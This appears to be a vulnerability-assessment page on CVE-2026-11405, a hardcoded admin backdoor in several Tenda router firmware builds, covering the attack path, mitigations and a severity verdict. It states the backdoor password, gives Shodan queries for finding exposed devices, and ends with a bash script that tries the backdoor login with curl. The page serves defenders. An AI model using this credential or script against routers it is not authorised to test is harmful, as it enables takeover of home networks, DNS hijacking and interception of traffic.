← Back to Feed CACHED · 2026-10-02 20:25:19 · CACHE_KEY CVE-2026-11405
CVE-2026-11405 · CWE-912 · Disclosed 2026-07-06

Tenda Router Firmware Hidden Backdoor Authentication Bypass in /bin/httpd login()

ASSESSED — NOISGATE
Vendor
—
—
—
Reassessed
—
—
—
Verdict: —
Do you agree?
01 · The Real Story

Tenda left a spare key under the mat — and somebody published the address

CVE-2026-11405 is a hardcoded authentication backdoor in the /bin/httpd web server on five Tenda consumer router models: FH1201 (V1.2.0.14), W15E (V15.11.0.5), AC10 (V15.03.06.46), AC5 (V15.03.06.48), and AC6 V2 (V15.03.06.51). When the normal MD5-based password check in the login() function fails, a second code path calls GetValue("sys.rzadmin.password") to retrieve a plaintext backdoor credential from the device configuration. A strcmp() against the user-supplied password grants role=2 (full administrator) for *any* username. The backdoor credential value has been publicly disclosed, reducing exploitation complexity to a single HTTP POST. CERT/CC published the finding as VU#213560 on 2026-07-06; Tenda confirmed and released patched firmware on 2026-07-31.

The vendor's CVSS 9.8 CRITICAL rating is technically accurate for the bug class — unauthenticated remote admin takeover with zero complexity — and noisgate would agree if these were enterprise-grade perimeter appliances. But they are $25–50 consumer/SOHO routers. In a fleet of 10,000 managed hosts, the probability of encountering a Tenda AC5 or AC10 in production infrastructure rounds to zero. The real enterprise exposure comes from remote workers' home networks, where a compromised Tenda router enables MitM on non-VPN traffic, DNS hijacking, and credential interception. That scenario keeps this at HIGH rather than MEDIUM, but the population narrowing prevents CRITICAL.

"Hardcoded backdoor in consumer Tenda routers is trivially exploitable but rarely in enterprise fleets"
02 · The Attack Path

4 steps from start to impact.

STEP 01

Discover Tenda management interface

The attacker identifies a Tenda router's web management panel, either internet-facing (if remote management is enabled) or LAN-reachable. Shodan/Censys/FOFA queries for Tenda HTTP fingerprints return exposed instances. On a local network, the router's gateway IP (typically 192.168.0.1 or 192.168.1.1) serves the login page by default.
Conditions required:
  • Network reachability to the router's HTTP management interface (port 80/443)
  • Remote management enabled for internet-facing exploitation, OR LAN access for local exploitation
Where this breaks in practice:
  • Remote management is disabled by default on most Tenda models — internet-facing exposure requires explicit misconfiguration
  • Enterprise networks almost never deploy Tenda consumer routers as managed infrastructure
Detection/coverage: Shodan query http.title:"Tenda" port:80 or Censys services.http.response.html_title: Tenda identifies exposed interfaces. Internal asset scans via Nmap --script http-title flag Tenda HTTP banners.
STEP 02

Send backdoor login request

The attacker submits an HTTP POST to the login endpoint with any arbitrary username and the hardcoded backdoor password value (derived from sys.rzadmin.password, publicly reported as rzadmin). No brute-forcing, credential stuffing, or exploit development is required. The request is a standard form POST identical to a legitimate login.
Conditions required:
  • Knowledge of the backdoor password value (publicly available since July 2026)
Where this breaks in practice:
  • None — the credential is public and the request is trivial to construct
Detection/coverage: Web server access logs show successful admin authentication. SIGMA rules can flag HTTP 200 to admin endpoints without a preceding valid login sequence. IDS/IPS signatures matching the backdoor credential in POST bodies can detect in transit.
STEP 03

Obtain full admin session

The login() function at 004c88b8 in /bin/httpd validates the backdoor credential via strcmp(), assigns role=2 (administrator), and returns a valid session cookie. The attacker now has unrestricted access to the router's web interface: firmware update, DNS settings, port forwarding, firewall rules, VPN configuration, and credential harvesting.
Conditions required:
  • Successful Step 2
Where this breaks in practice:
  • None — the authentication bypass is deterministic
Detection/coverage: Session audit logs (if enabled) show new admin session. Network monitoring can detect subsequent configuration changes.
STEP 04

Weaponize router access

With full admin, the attacker modifies DNS settings to redirect traffic to attacker-controlled resolvers (DNS hijacking), enables port forwarding to expose internal hosts, exfiltrates the router's stored credentials (including the legitimate admin password and WiFi PSK), or uploads modified firmware for persistent access. In a remote-worker scenario, this enables MitM on all unencrypted traffic and credential interception for services not protected by certificate pinning.
Conditions required:
  • Full admin access (Step 3)
  • Target traffic of interest traverses the compromised router
Where this breaks in practice:
  • Enterprise traffic behind a properly configured always-on VPN is opaque to the router
  • Modern HTTPS with HSTS limits MitM to DNS-level redirection, not content inspection
  • EDR on the endpoint may flag DNS changes or suspicious redirects
Detection/coverage: DNS monitoring (e.g., Pi-hole logs, Umbrella, Zscaler) detects resolver changes. Endpoint agents flag unexpected certificate warnings or DNS resolution anomalies.
03 · Compensating Control

1
HIGH 7.5→MEDIUM 5.0
SEVERITY REDUCED
Disable remote web management on all Tenda devices immediately — This blocks the internet-facing attack vector entirely. Log into each affected router via LAN, navigate to Administration → Remote Management, and disable it. This should be done within the noisgate mitigation SLA of 30 days for HIGH-severity findings, though the trivial exploitability argues for faster action.
2
HIGH 7.5→LOW 3.5
SEVERITY REDUCED
Segment Tenda routers onto a dedicated VLAN with no management-plane access from untrusted hosts — Place affected devices on an isolated network segment and restrict HTTP/HTTPS access to the management interface to a dedicated admin workstation or jump host. This eliminates LAN-side opportunistic exploitation from compromised endpoints. Deploy within 30 days per noisgate mitigation SLA.
3
HIGH 7.5→IGNORE 0.0
SEVERITY REDUCED
Apply Tenda patched firmware to all affected models — Download and install the remediated firmware from the Tenda support portal for each affected model. This is the definitive fix. Deploy within the noisgate remediation SLA of 180 days for HIGH-severity findings. Verify the firmware version post-update matches the patched release.
4
HIGH 7.5→LOW 3.0
SEVERITY REDUCED
Enforce always-on VPN for remote workers with Tenda home routers — If asset inventory reveals remote employees using affected Tenda models, enforce always-on VPN (e.g., Zscaler Private Access, GlobalProtect, Cisco AnyConnect in always-on mode) so that enterprise traffic is encrypted end-to-end and opaque to the compromised router. This neutralizes the MitM and DNS hijacking attack paths.
5
HIGH 7.5→IGNORE 0.0
SEVERITY REDUCED
Replace affected devices with enterprise-managed access points or routers — For any business-owned Tenda devices (branch offices, kiosks), replace with enterprise-grade equipment (Meraki, Aruba, FortiAP) that receives regular security updates and supports centralized management. This eliminates the vulnerability class entirely.
What doesn't work
  • Changing the admin password does not help — the backdoor bypasses the normal password entirely by reading a separate config key (sys.rzadmin.password) that is not user-modifiable through the standard web UI.
  • MAC filtering or WiFi password changes are irrelevant — the vulnerability is in the HTTP management interface authentication, not the wireless access layer.
  • WAF or IPS in front of the router is impractical — the router IS the network edge; there is no inline security device between the internet and the router's management interface in a typical SOHO deployment.
  • Firmware downgrade does not help — older firmware versions also contain the backdoor; this is a design-time implant, not a regression.
04 · Intelligence Metadata

The supporting signals.

In-the-Wild StatusMultiple sources report automated scanning consistent with public detection scripts. Rescana labels it an "active exploitation alert." Not on CISA KEV. No confirmed APT attribution.
Proof-of-ConceptThe backdoor password (rzadmin) is publicly documented — this effectively IS a PoC. An Nmap NSE script tenda-backdoor.nse by Aleksandar Nikolic exists at github.com/ea/nmap-scripts (targets UDP 7329 for an older Tenda backdoor; often conflated with CVE-2026-11405). No dedicated exploit repo found on GitHub or pocindex.io for this specific CVE.
EPSS0.765% (54th percentile) — low exploitation probability despite trivial exploitability, likely reflecting the consumer device population and low enterprise visibility.
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — network-attackable, no complexity, no privileges, no user interaction. All three impact categories are HIGH. Technically accurate for the bug class.
Affected VersionsFH1201 V1.2.0.14(408), W15E V15.11.0.5, AC10 V15.03.06.46, AC5 V15.03.06.48, AC6 V2 V15.03.06.51. All are US-market firmware builds. Other regional firmware may also be affected but is untested.
Patch StatusPatched — Tenda confirmed remediation and released updated firmware for all five models as of 2026-07-31 per CERT/CC VU#213560 revision. Check Tenda support portal for downloads.
Exposure DataNo precise Shodan/Censys counts published. HotHardware estimates "millions" of Tenda routers globally. Shodan queries for http.title:"Tenda" return results but enterprise-managed instances are negligible. Tenda's market share is concentrated in consumer/SOHO and developing markets.
Disclosure Timeline2026-05-19 reported to CERT/CC → 2026-07-06 public disclosure (VU#213560) → 2026-07-31 Tenda confirms and releases patches.
ReporterAnonymous researcher via CERT/CC. Will Dormann (Analygence/CERT/CC) noted the backdoor password may be absent from some CERT-listed firmware versions but present in unlisted ones.
CWE ClassificationNo official CWE assigned. Best fit: CWE-912 (Hidden Functionality) and CWE-798 (Use of Hard-Coded Credentials).

Sources.

  1. CERT/CC VU#213560 — Tenda firmware hidden authentication backdoor
  2. GitHub Advisory GHSA-w55r-jjxw-gxrx
  3. BleepingComputer — Hidden backdoor in Tenda router firmware
  4. SecurityAffairs — Hidden Tenda Router Backdoor
  5. Rescana — Active Exploitation Alert CVE-2026-11405
  6. Nmap NSE tenda-backdoor.nse script (ea/nmap-scripts)
  7. SecurityOnline — CVE-2026-11405 Tenda Undocumented Authentication Backdoor
  8. Tom's Hardware — Hidden backdoor in Tenda routers goes unpatched
05 · The Call

Final Verdict
↓ DOWNGRADED to HIGH (7.5/10)

Why this verdict

  • Trivial exploitation, zero complexity: The backdoor password is public knowledge. Exploitation requires a single HTTP POST with no tooling, no exploit development, and no authentication bypass research. This keeps the base severity elevated.
  • Population narrowing — consumer SOHO devices: Tenda FH1201/W15E/AC10/AC5/AC6 are $25–50 consumer routers. In a managed enterprise fleet of 10,000 hosts, the probability of these devices appearing in production infrastructure is <1%. This is the primary downward pressure from the vendor's 9.8.
  • Remote management disabled by default: Internet-facing exploitation requires the owner to have explicitly enabled remote web management — a minority configuration even among consumer users. LAN-side exploitation requires the attacker to already be on the local network segment.
  • Role multiplier: Every Tenda router instance IS a network edge device (100% of installs occupy this role by definition). Compromise grants full network control: DNS hijacking, MitM, port forwarding, credential harvesting. For a remote worker's home router, this can enable interception of non-VPN enterprise traffic. The blast radius is network-segment-level (not domain/fleet/supply-chain), but the MitM + DNS hijack outcome qualifies as potential mass data egress for traffic traversing the device. This sets the verdict floor at HIGH per the deployment-role rule.
  • Patch available since 2026-07-31: Tenda has released remediated firmware for all five models, reducing the urgency window. Organizations with these devices can remediate rather than replace.

Why not higher?

CRITICAL would require either canonical enterprise perimeter deployment (these are not — they are consumer SOHO devices, not FortiGate/Palo Alto/Cisco class) or evidence that ≥10% of installs serve enterprise high-value roles. Tenda's market is consumer/SOHO; enterprise penetration is negligible. The blast radius caps at network-segment MitM, not domain takeover or fleet compromise. EPSS at 0.765% and no KEV listing further argue against CRITICAL.

Why not lower?

MEDIUM would ignore the deployment-role floor. Every affected device IS a network edge device, and full admin compromise enables MitM on all traversing traffic — a mass-data-egress scenario for anyone relying on the compromised router. The backdoor credential is public with zero exploitation complexity. Even in a remote-worker-home-router scenario, the interception of non-VPN traffic (SSO redirects, OAuth tokens, DNS queries) can bridge into enterprise compromise. The floor holds at HIGH.

06 · Verification

Crowdsourced verification payload.

Run this script from any host with network reachability to the Tenda router's management interface (typically the LAN gateway). Requires curl and grep. No elevated privileges needed. Usage: bash tenda_cve_2026_11405_check.sh 192.168.0.1

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/usr/bin/env bash
# CVE-2026-11405 Tenda Backdoor Authentication Check
# Tests whether the hidden backdoor credential grants admin access
# SAFE: only attempts login, makes no configuration changes
# Usage: bash tenda_cve_2026_11405_check.sh <router_ip>
# Exit codes: 0=VULNERABLE, 1=PATCHED, 2=UNKNOWN

set -euo pipefail

TARGET="${1:-}"
BACKDOOR_PASS="rzadmin"
TIMEOUT=10

if [[ -z "$TARGET" ]]; then
  echo "Usage: $0 <router_ip_or_hostname>"
  exit 2
fi

echo "[*] CVE-2026-11405 checker targeting: $TARGET"

# Step 1: Check if target is a Tenda device
echo "[*] Checking if target is a Tenda router..."
BANNER=$(curl -sk --max-time "$TIMEOUT" "http://${TARGET}/" 2>/dev/null || true)

if ! echo "$BANNER" | grep -qi "tenda"; then
  echo "[?] Target does not appear to be a Tenda device."
  echo "UNKNOWN"
  exit 2
fi

echo "[+] Tenda device detected."

# Step 2: Attempt backdoor login
# Common Tenda login endpoints and POST formats
echo "[*] Attempting backdoor authentication..."
RESPONSE=$(curl -sk --max-time "$TIMEOUT" \
  -X POST \
  -d "username=admin&password=${BACKDOOR_PASS}" \
  -c - \
  "http://${TARGET}/login/Auth" 2>/dev/null || true)

# Some Tenda models use a different endpoint
if [[ -z "$RESPONSE" ]]; then
  RESPONSE=$(curl -sk --max-time "$TIMEOUT" \
    -X POST \
    -d "username=admin&password=${BACKDOOR_PASS}" \
    -c - \
    "http://${TARGET}/goform/login" 2>/dev/null || true)
fi

# Step 3: Evaluate response
if echo "$RESPONSE" | grep -qiE '(success|role.*2|session|Set-Cookie|welcome|index\.asp)'; then
  echo "[!] BACKDOOR LOGIN SUCCEEDED — device is exploitable."
  echo "VULNERABLE"
  exit 0
fi

# Step 4: Check firmware version for known-vulnerable builds
echo "[*] Checking firmware version..."
FW_PAGE=$(curl -sk --max-time "$TIMEOUT" "http://${TARGET}/goform/getSysInfo" 2>/dev/null || true)
if [[ -z "$FW_PAGE" ]]; then
  FW_PAGE=$(curl -sk --max-time "$TIMEOUT" "http://${TARGET}/system_status.asp" 2>/dev/null || true)
fi

VULN_VERSIONS=("V1.2.0.14" "V15.11.0.5" "V15.03.06.46" "V15.03.06.48" "V15.03.06.51")
for VER in "${VULN_VERSIONS[@]}"; do
  if echo "$FW_PAGE" | grep -q "$VER"; then
    echo "[!] Firmware version $VER matches known-vulnerable build."
    echo "VULNERABLE"
    exit 0
  fi
done

if echo "$FW_PAGE" | grep -qiE '(FH1201|W15E|AC10[^0-9]|AC5[^0-9]|AC6)'; then
  echo "[!] Affected model detected but firmware version could not be confirmed."
  echo "[!] Manual verification recommended."
  echo "UNKNOWN"
  exit 2
fi

echo "[*] Backdoor login did not succeed and firmware version does not match known-vulnerable builds."
echo "PATCHED"
exit 1